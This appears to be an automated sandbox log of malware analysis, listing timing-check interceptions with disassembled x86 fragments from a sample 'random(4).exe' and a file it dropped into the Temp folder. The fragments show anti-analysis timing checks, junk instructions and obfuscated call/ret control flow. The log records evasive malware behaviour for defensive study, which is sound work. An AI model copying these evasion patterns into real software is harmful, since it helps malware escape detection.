Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A701CF second address: 4A701D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A701D4 second address: 4A70270 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F0264E84ACBh 0x00000009 or cx, BF7Eh 0x0000000e jmp 00007F0264E84AD9h 0x00000013 popfd 0x00000014 mov si, 95C7h 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b sub edi, edi 0x0000001d jmp 00007F0264E84AD3h 0x00000022 inc ebx 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 pushfd 0x00000027 jmp 00007F0264E84ACBh 0x0000002c add cx, 1A3Eh 0x00000031 jmp 00007F0264E84AD9h 0x00000036 popfd 0x00000037 pushfd 0x00000038 jmp 00007F0264E84AD0h 0x0000003d and si, 7F38h 0x00000042 jmp 00007F0264E84ACBh 0x00000047 popfd 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A70270 second address: 4A7029E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0264BBFB29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test al, al 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F0264BBFB1Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A7029E second address: 4A702DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0264E84AD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F0264E84C1Ah 0x0000000f pushad 0x00000010 movzx eax, bx 0x00000013 mov bh, 27h 0x00000015 popad 0x00000016 lea ecx, dword ptr [ebp-14h] 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F0264E84AD7h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A703BE second address: 4A703C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A703C4 second address: 4A7042F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 js 00007F0264E84B01h 0x0000000e pushad 0x0000000f mov dx, 36F8h 0x00000013 mov si, di 0x00000016 popad 0x00000017 cmp dword ptr [ebp-14h], edi 0x0000001a jmp 00007F0264E84AD3h 0x0000001f jne 00007F02D6032B70h 0x00000025 jmp 00007F0264E84AD6h 0x0000002a mov ebx, dword ptr [ebp+08h] 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 mov esi, edi 0x00000032 jmp 00007F0264E84AD9h 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A7042F second address: 4A70436 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cl, bl 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A7053C second address: 4A70540 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A70540 second address: 4A70546 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A70546 second address: 4A7054C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A7054C second address: 4A70550 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A607C7 second address: 4A607F4 instructions: 0x00000000 rdtsc 0x00000002 movzx esi, bx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 push ecx 0x00000009 pushad 0x0000000a mov dx, FFE0h 0x0000000e popad 0x0000000f mov dword ptr [esp], ebp 0x00000012 jmp 00007F0264E84ACFh 0x00000017 mov ebp, esp 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c push edi 0x0000001d pop ecx 0x0000001e mov di, CD72h 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A607F4 second address: 4A60807 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0264BBFB1Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A709C3 second address: 4A709C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A709C7 second address: 4A709CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A709CB second address: 4A709D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A709D1 second address: 4A70A33 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F0264BBFB1Dh 0x00000009 or ax, C936h 0x0000000e jmp 00007F0264BBFB21h 0x00000013 popfd 0x00000014 movzx esi, dx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push esp 0x0000001b pushad 0x0000001c mov eax, 7E7BBB35h 0x00000021 mov ch, D5h 0x00000023 popad 0x00000024 mov dword ptr [esp], ebp 0x00000027 jmp 00007F0264BBFB1Dh 0x0000002c mov ebp, esp 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 call 00007F0264BBFB23h 0x00000036 pop esi 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A70A33 second address: 4A70A39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A70A39 second address: 4A70AA3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0264BBFB1Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b cmp dword ptr [75C7459Ch], 05h 0x00000012 jmp 00007F0264BBFB20h 0x00000017 je 00007F02D5D5DAB3h 0x0000001d jmp 00007F0264BBFB20h 0x00000022 pop ebp 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 pushfd 0x00000027 jmp 00007F0264BBFB1Dh 0x0000002c or cl, 00000066h 0x0000002f jmp 00007F0264BBFB21h 0x00000034 popfd 0x00000035 movzx ecx, dx 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A70AA3 second address: 4A70AA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A70AA9 second address: 4A70AAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A70AED second address: 4A70AF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A70AF3 second address: 4A70B19 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push 7FA17C22h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F0264BBFB27h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A70B19 second address: 4A70B4C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0264E84AD9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 0A67E00Ah 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F0264E84ACDh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A80B37 second address: 4A80B4B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ah, bl 0x00000005 mov ecx, 11DCB60Fh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov esi, dword ptr [ebp+0Ch] 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A80B4B second address: 4A80BD7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, EE1Bh 0x00000007 mov ax, 50F7h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e test esi, esi 0x00000010 jmp 00007F0264E84ACAh 0x00000015 je 00007F02D6012318h 0x0000001b jmp 00007F0264E84AD0h 0x00000020 cmp dword ptr [75C7459Ch], 05h 0x00000027 jmp 00007F0264E84AD0h 0x0000002c je 00007F02D602A3CBh 0x00000032 pushad 0x00000033 pushfd 0x00000034 jmp 00007F0264E84ACEh 0x00000039 and cl, 00000078h 0x0000003c jmp 00007F0264E84ACBh 0x00000041 popfd 0x00000042 jmp 00007F0264E84AD8h 0x00000047 popad 0x00000048 xchg eax, esi 0x00000049 push eax 0x0000004a push edx 0x0000004b push eax 0x0000004c push edx 0x0000004d push eax 0x0000004e push edx 0x0000004f rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A80BD7 second address: 4A80BDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A80BDB second address: 4A80BE1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A80BE1 second address: 4A80C0D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ch, 75h 0x00000005 mov dx, E652h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F0264BBFB28h 0x00000012 xchg eax, esi 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A80C0D second address: 4A80C13 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A80C13 second address: 4A80C19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A80C6D second address: 4A80C7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0264E84ACCh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: 970540 second address: 96FD5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 nop 0x00000006 pushad 0x00000007 add ebx, dword ptr [ebp+122D3B62h] 0x0000000d movsx eax, dx 0x00000010 popad 0x00000011 push dword ptr [ebp+122D02A1h] 0x00000017 mov dword ptr [ebp+122D3719h], esi 0x0000001d call dword ptr [ebp+122D3653h] 0x00000023 pushad 0x00000024 cld 0x00000025 xor eax, eax 0x00000027 clc 0x00000028 mov edx, dword ptr [esp+28h] 0x0000002c jmp 00007F0264BBFB1Bh 0x00000031 mov dword ptr [ebp+122D3A3Ah], eax 0x00000037 pushad 0x00000038 clc 0x00000039 jnl 00007F0264BBFB1Ch 0x0000003f popad 0x00000040 sub dword ptr [ebp+122D2622h], edi 0x00000046 mov esi, 0000003Ch 0x0000004b clc 0x0000004c add esi, dword ptr [esp+24h] 0x00000050 jp 00007F0264BBFB17h 0x00000056 lodsw 0x00000058 stc 0x00000059 add eax, dword ptr [esp+24h] 0x0000005d jmp 00007F0264BBFB22h 0x00000062 jnl 00007F0264BBFB21h 0x00000068 mov ebx, dword ptr [esp+24h] 0x0000006c jmp 00007F0264BBFB25h 0x00000071 push eax 0x00000072 push ecx 0x00000073 push eax 0x00000074 push edx 0x00000075 jl 00007F0264BBFB16h 0x0000007b rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: AE2CDB second address: AE2CE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: AE2DFD second address: AE2E31 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 je 00007F0264BBFB16h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F0264BBFB22h 0x00000013 jmp 00007F0264BBFB24h 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: AE2E31 second address: AE2E3B instructions: 0x00000000 rdtsc 0x00000002 jno 00007F0264E84AC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: AE2E3B second address: AE2E41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: AE2E41 second address: AE2E4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F0264E84AC6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: AE2F97 second address: AE2FE3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0264BBFB1Fh 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007F0264BBFB25h 0x00000011 ja 00007F0264BBFB16h 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F0264BBFB25h 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: AE2FE3 second address: AE301E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0264E84ACFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F0264E84AD3h 0x00000010 jmp 00007F0264E84AD3h 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: AE3198 second address: AE319E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: AE319E second address: AE31AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: AE31AA second address: AE31AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: AE31AF second address: AE31B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push esi 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: AE3475 second address: AE347B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: AE7081 second address: AE70CD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov eax, dword ptr [eax] 0x00000009 pushad 0x0000000a push edx 0x0000000b jnl 00007F0264E84AC6h 0x00000011 pop edx 0x00000012 jmp 00007F0264E84AD6h 0x00000017 popad 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c pushad 0x0000001d jmp 00007F0264E84ACDh 0x00000022 pushad 0x00000023 jmp 00007F0264E84ACEh 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: AE70CD second address: 96FD5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pop eax 0x00000007 mov edi, 6480DD05h 0x0000000c push dword ptr [ebp+122D02A1h] 0x00000012 jmp 00007F0264BBFB29h 0x00000017 mov ch, 7Fh 0x00000019 call dword ptr [ebp+122D3653h] 0x0000001f pushad 0x00000020 cld 0x00000021 xor eax, eax 0x00000023 clc 0x00000024 mov edx, dword ptr [esp+28h] 0x00000028 jmp 00007F0264BBFB1Bh 0x0000002d mov dword ptr [ebp+122D3A3Ah], eax 0x00000033 pushad 0x00000034 clc 0x00000035 jnl 00007F0264BBFB1Ch 0x0000003b popad 0x0000003c sub dword ptr [ebp+122D2622h], edi 0x00000042 mov esi, 0000003Ch 0x00000047 clc 0x00000048 add esi, dword ptr [esp+24h] 0x0000004c jp 00007F0264BBFB17h 0x00000052 lodsw 0x00000054 stc 0x00000055 add eax, dword ptr [esp+24h] 0x00000059 jmp 00007F0264BBFB22h 0x0000005e jnl 00007F0264BBFB21h 0x00000064 mov ebx, dword ptr [esp+24h] 0x00000068 jmp 00007F0264BBFB25h 0x0000006d push eax 0x0000006e push ecx 0x0000006f push eax 0x00000070 push edx 0x00000071 jl 00007F0264BBFB16h 0x00000077 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: AE7111 second address: AE717F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0264E84ACFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F0264E84ACEh 0x0000000f nop 0x00000010 push 00000000h 0x00000012 jmp 00007F0264E84AD3h 0x00000017 call 00007F0264E84AD6h 0x0000001c jmp 00007F0264E84AD1h 0x00000021 pop edi 0x00000022 push 17DDA7C9h 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a jnl 00007F0264E84AC6h 0x00000030 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: AE7301 second address: AE738B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov si, 713Bh 0x0000000d push 00000000h 0x0000000f sub dword ptr [ebp+122D2B39h], esi 0x00000015 mov dword ptr [ebp+122D3594h], eax 0x0000001b push F779ACBDh 0x00000020 jmp 00007F0264BBFB1Eh 0x00000025 add dword ptr [esp], 088653C3h 0x0000002c mov ecx, dword ptr [ebp+122D3B56h] 0x00000032 push 00000003h 0x00000034 push 00000000h 0x00000036 push ebp 0x00000037 call 00007F0264BBFB18h 0x0000003c pop ebp 0x0000003d mov dword ptr [esp+04h], ebp 0x00000041 add dword ptr [esp+04h], 00000015h 0x00000049 inc ebp 0x0000004a push ebp 0x0000004b ret 0x0000004c pop ebp 0x0000004d ret 0x0000004e jmp 00007F0264BBFB1Ah 0x00000053 push 00000000h 0x00000055 sbb di, AB49h 0x0000005a or dword ptr [ebp+122D2B39h], edi 0x00000060 push 00000003h 0x00000062 adc cl, FFFFFFCDh 0x00000065 mov dword ptr [ebp+122D2BD5h], ebx 0x0000006b push 93340CEFh 0x00000070 jnl 00007F0264BBFB1Eh 0x00000076 push edx 0x00000077 push eax 0x00000078 push edx 0x00000079 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: AE738B second address: AE73D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 xor dword ptr [esp], 53340CEFh 0x0000000c and edx, 0C84BB5Ch 0x00000012 lea ebx, dword ptr [ebp+1244AFA8h] 0x00000018 push 00000000h 0x0000001a push eax 0x0000001b call 00007F0264E84AC8h 0x00000020 pop eax 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 add dword ptr [esp+04h], 00000018h 0x0000002d inc eax 0x0000002e push eax 0x0000002f ret 0x00000030 pop eax 0x00000031 ret 0x00000032 mov dword ptr [ebp+122D3687h], ecx 0x00000038 xchg eax, ebx 0x00000039 pushad 0x0000003a pushad 0x0000003b jg 00007F0264E84AC6h 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: AE73D4 second address: AE7405 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F0264BBFB1Eh 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F0264BBFB26h 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: AE750A second address: AE750E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: AE750E second address: AE7525 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F0264BBFB1Ah 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: AE7525 second address: AE752E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: AE752E second address: AE75D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 popad 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jng 00007F0264BBFB24h 0x00000012 mov eax, dword ptr [eax] 0x00000014 pushad 0x00000015 jmp 00007F0264BBFB21h 0x0000001a push eax 0x0000001b jne 00007F0264BBFB16h 0x00000021 pop eax 0x00000022 popad 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 jmp 00007F0264BBFB28h 0x0000002c pop eax 0x0000002d push 00000000h 0x0000002f push edi 0x00000030 call 00007F0264BBFB18h 0x00000035 pop edi 0x00000036 mov dword ptr [esp+04h], edi 0x0000003a add dword ptr [esp+04h], 0000001Bh 0x00000042 inc edi 0x00000043 push edi 0x00000044 ret 0x00000045 pop edi 0x00000046 ret 0x00000047 or si, 6E1Ah 0x0000004c push 00000003h 0x0000004e mov si, di 0x00000051 push 00000000h 0x00000053 movsx ecx, dx 0x00000056 push 00000003h 0x00000058 mov esi, 1E1EA36Bh 0x0000005d push A57F7412h 0x00000062 push eax 0x00000063 push edx 0x00000064 jmp 00007F0264BBFB21h 0x00000069 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B07D38 second address: B07D77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jo 00007F0264E84ACEh 0x0000000b push edx 0x0000000c pop edx 0x0000000d jp 00007F0264E84AC6h 0x00000013 pushad 0x00000014 jmp 00007F0264E84AD3h 0x00000019 jmp 00007F0264E84ACCh 0x0000001e jg 00007F0264E84AC6h 0x00000024 popad 0x00000025 popad 0x00000026 pushad 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B07D77 second address: B07D8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d jnl 00007F0264BBFB16h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: ADAFC1 second address: ADAFD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0264E84ACCh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: ADAFD1 second address: ADAFE2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0264BBFB1Bh 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B05B72 second address: B05B7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B061D1 second address: B061DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B061DB second address: B061E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F0264E84AC6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
